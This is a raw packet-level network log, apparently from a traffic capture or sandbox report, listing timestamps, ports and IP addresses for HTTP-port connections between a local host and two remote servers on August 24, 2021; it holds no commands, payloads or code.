Aug 24, 2021 14:01:35.823123932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823138952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823148966 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823164940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823180914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823194981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823204994 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823211908 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823226929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823246002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823252916 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823262930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823277950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823283911 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823295116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823309898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823323965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823338032 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823340893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823355913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823374987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823381901 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823391914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823406935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823412895 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823422909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823438883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823451042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823452950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823468924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823481083 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823483944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823503017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823509932 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823519945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823569059 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.846884012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.846908092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.846925020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.846941948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.846961021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.846976995 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.846977949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.846993923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847009897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847012043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847024918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847040892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847057104 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847071886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847074032 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847095013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847103119 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847131968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847131968 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847151995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847168922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847183943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847198963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847208977 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847213984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847229958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847249031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847253084 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847268105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847282887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847299099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847309113 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847315073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847330093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847346067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847357988 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847362041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847379923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847388983 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847398043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847413063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847419024 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847429037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847445011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847460032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847474098 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847476006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847491026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847510099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847517967 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847527027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847543001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847548962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847558022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847573996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847589016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847604990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847609997 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847620010 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847639084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847652912 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847655058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847671032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847683907 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847686052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847712994 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847713947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847731113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847745895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847762108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847768068 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847778082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847793102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847806931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847812891 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847822905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847837925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847842932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847860098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847872019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847876072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847891092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847906113 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847906113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847922087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847933054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847938061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847954035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847970009 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.847971916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847990036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.847995996 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848005056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848021984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848027945 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848037958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848052979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848052979 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848067999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848083973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848095894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848103046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848119974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848134995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848141909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848150969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848166943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848170042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848181963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848198891 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848215103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848222971 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848232985 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848249912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848259926 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848277092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848287106 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848294973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848310947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848315954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848325968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848341942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848356962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848356962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848371983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848387003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848400116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848406076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848423958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848432064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848438978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848454952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848464012 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848469973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848484993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848490953 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848500967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848516941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848519087 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848536968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848545074 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848553896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848568916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848584890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848587036 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848599911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848617077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848632097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848635912 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848647118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848660946 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848665953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848683119 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848695993 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848697901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848714113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848721981 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848733902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848747015 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848748922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848764896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848778009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848798990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848804951 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848815918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848831892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848848104 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848864079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848879099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848906994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848926067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848942995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848958969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.848965883 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.848980904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.849004030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.849015951 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.849020958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.849036932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.849051952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.849054098 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.849071980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.849087954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.849088907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.849104881 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.849117041 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.849119902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.849136114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.849153042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.849179029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.870999098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871028900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871088028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871089935 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871134043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871136904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871160984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871181965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871208906 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871222019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871244907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871267080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871280909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871301889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871323109 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871336937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871357918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871378899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871391058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871412039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871433973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871445894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871467113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871485949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871500969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871521950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871546030 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871553898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871579885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871602058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871617079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871637106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871659040 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871673107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871695042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871722937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871726990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871752977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871773958 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871793032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871814013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871841908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871850967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871871948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871897936 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871906042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871931076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.871953011 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.871970892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.872013092 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:36.354345083 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:36.930994034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:36.948709965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.948884964 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:36.950345039 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:36.968141079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.983944893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.983983994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.983997107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.984009981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.984021902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986154079 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:36.986258984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986277103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986288071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986300945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986313105 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986325979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986336946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986349106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986361980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986375093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986386061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986397028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986408949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986419916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986433029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986524105 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:36.986562014 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:36.986609936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986629009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986640930 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986653090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.986696005 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:36.986728907 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:36.987178087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.987199068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.987211943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.987225056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.987253904 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:36.987299919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:36.988117933 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.988137960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:36.988221884 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.002624989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.002669096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.002691031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.002711058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.002801895 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.002835989 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.002983093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.003000975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.003019094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.003037930 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.003062010 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.003096104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.003801107 CEST	80	49724	172.67.216.236	192.168.2.3
